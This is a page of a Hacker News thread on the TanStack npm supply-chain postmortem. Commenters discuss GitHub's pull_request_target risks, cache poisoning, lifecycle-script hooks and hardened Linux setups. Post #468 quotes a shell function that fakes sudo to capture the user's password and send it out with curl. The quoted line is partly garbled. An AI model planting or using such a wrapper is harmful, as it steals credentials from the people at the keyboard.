Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

461–470 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#461

Post by duped »

consumer451 wrote: post #214
ssanderson11235 wrote: post #182

Earlier quoted context omitted.

The fundamental mistake here seems to have been not fully understanding the threat model of the pull_request_target action trigger. pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissio…

From a GitHub product owner POV, if the architecture is not to be changed, what is the solution? A big ugly warning in the UI? Or, push back on the architecture? Or, is threatening a big ugly warning in the UI actually pushing back on the architecture?

> A big ugly warning in the UI?

There's already a warning in the docs. There's no UI to put the warning in that isn't going to be visible until it's too late. And even that warning isn't scary enough - this documentation is buried behind a "warning" in the docs and then two more links to get to the meat.

> Workflows triggered via pull_request_target have write permission to the target repository. They also have access to target repository secrets. The same is true for workflows triggered on pull_request from a branch in the same repository, but not from external forks. The reasoning behind the latter is that it is safe to share the repository secrets if the user creating the PR has write permission to the target repository already.

> pull_request_target runs in the context of the target repository of the PR, rather than in the merge commit. This means the standard checkout action uses the target repository to prevent accidental usage of the user supplied code.

So what this means is if you use `pull_request_target`, the jobs have read and write access to privileged data in the repo (including secrets) and the code the job runs is controlled by the target.

> Or, push back on the architecture?

Personally, I would advocate to remove this feature for public repositories. It has ~zero legitimate use cases. If it needs to come back, it should be an error to run jobs on this trigger if the user that initiated it doesn't have write permissions for the repo.

If this breaks CI pipelines that is a good thing. Those pipelines are just waiting to be pwned.

There's a PR open to mitigate this on actions/cache but I don't believe it's actually solving the root cause, which is in the design of actions itself.

Re: Postmortem: TanStack NPM supply-chain compromise

#462

Post by chuckadams »

JamesSwift wrote: post #418
chuckadams wrote: post #85

The malware uses a "prepare" hook to use bun to run the payload, an attack that ironically enough, bun is immune to. Enabling lifecycle scripts in dependencies by default in 2026 is just plain malpractice.

Note that bun is only immune to this because it isnt in the “top 500” that bypass this system by default. I was actually surprised (pleasantly, but still surprised) tanstack wasnt in that list already https://bun.com/docs/pm/lifecycle

Good to know. Though according to that page, bun still wouldn't have run it if it were on that list, since it came through a git dependency and not npm.

Re: Postmortem: TanStack NPM supply-chain compromise

#463

Post by AtNightWeCode »

Ciantic wrote: post #352

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

The core issue is that the lang is horrible to get to compile in a reasonable amount of time on a build server. Then since the way it is designed it is bad at caching. That is why you have this "optimistic" caching to begin with.

Our solution is to build everything in Docker. Which is about what you suggest since it does not automatically share cache between branches. But it is slow.

Re: Postmortem: TanStack NPM supply-chain compromise

#464

Post by stickfigure »

nozzlegear wrote: post #247
TacticalCoder wrote: post #211

Earlier quoted context omitted.

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside

I hear it from many native speakers. The deliberate incorrectness is a sort of cutespeak. "Since... years".

I can't stand l33tspeak but in this case I think the kids can stay on the lawn.

Re: Postmortem: TanStack NPM supply-chain compromise

#465

Post by bee_rider »

TacticalCoder wrote: post #454
bee_rider wrote: post #240

Earlier quoted context omitted.

This thread was kicked off by somebody who said: > Realistically if you have installed malware, you need to do a full wipe of your computer anyway You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).

> But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?). Oh no, I'd still nuke everything from orbit should I find anything indicating a local exploit succeeded. But the thing is: if on one system a local exploit has less probability to give root, then the probability that on that same system I'd know I need to nuke e…

I agree. My surreptitious goal was to emphasize to anyone reading along: this person has put in the extra effort, but even they will not try to recover a compromised system. It is just too risky.

Re: Postmortem: TanStack NPM supply-chain compromise

#466

Post by shykes »

SamuelAdams wrote: post #376
Ciantic wrote: post #352

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…

The other advantage with bash is that most developers can run it locally to validate what it is doing and debug issues. With GitHub Actions you need to always commit and push, slowing down the DX.

Shameless plug: solving this "push and pray" problem is something we have been focusing on with Dagger. It's an open-source CI platform that decouples the runtime from the triggers. The runtime is open source and local-first, so you develop the actual logic of your pipelines with a proper dev loop. Then, you separately wire up your git triggers. The same pipeline logic can be triggered locally or from git events.

IMO this is the only clean way to solve the problem. If you want to check it out and share feedback: https://dagger.io . We also have a very active Discord server full of CI nerds.

Re: Postmortem: TanStack NPM supply-chain compromise

#467

Post by lrvick »

mort96 wrote: post #428
lrvick wrote: post #358

Earlier quoted context omitted.

If you set the appropriate linux capabilities flag on a binary such as sshd at bootup then unprivileged users can bind to 22, no problem. setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd Could even run it as a daemon unprivileged from a home directory with "systemd --user" That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to list…

How do you setcap without root?

The way many including me manage systems without root privileges at runtime is by compiling immutable rootfs images that run in ram with kernel, init, mounting filesystems and assigning any users and privilege assignments, then drop to user privs.

That stuff needs to change very seldom, so when you do need to change it you just generate a new tiny rootfs image in a few seconds and reboot to pivot to it or maybe have a kexec trigger if you are feeling fancy.

For my primary workstation the entire disk is my home partition and I boot my latest rootfs from a flash drive. In other cases network boot.

Re: Postmortem: TanStack NPM supply-chain compromise

#468

Post by nine_k »

TacticalCoder wrote: post #211
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

Are root logins only allowed from that particular LAN? Because ssh localhost is a thing.

I would say that the inability to obtain a session with elevated privileges from a normal session is key. The problem with sudo is that it gives the same shell some superpowers, so it's exploitable. Even ssh might be impenetrable, if not for the /dev//fd of the ssh invocation, and even that can only read.

Re: Postmortem: TanStack NPM supply-chain compromise

#469

Post by Joeri »

alexjurkiewicz wrote: post #161
nrmitchi wrote: post #128

Appreciate the tanstack postmortem, however the security issue as far as the rest of the npm ecosystem goes is still an ongoing concern, correct? Is there evidence that any downstream packages that may have pulled/included tanstack packages should be considered safe?

NPM is getting all the attacks and attention because it is the biggest. But there's nothing language specific to this class of attacks.

So what if they’re the biggest? They haven’t taken any meaningful steps to stop these attacks. The primary culprit for the sorry state of the npm ecosystem is npm inc, or actually their corporate overlord microsoft. They could be doing a lot more than they are.

I’m sort of reminded of how back in the day windows was swiss cheese and people kept saying “it is because they’re the biggest”, and then microsoft started caring about windows security and it improved enormously. When will microsoft start caring about npm security?

Post reply on HN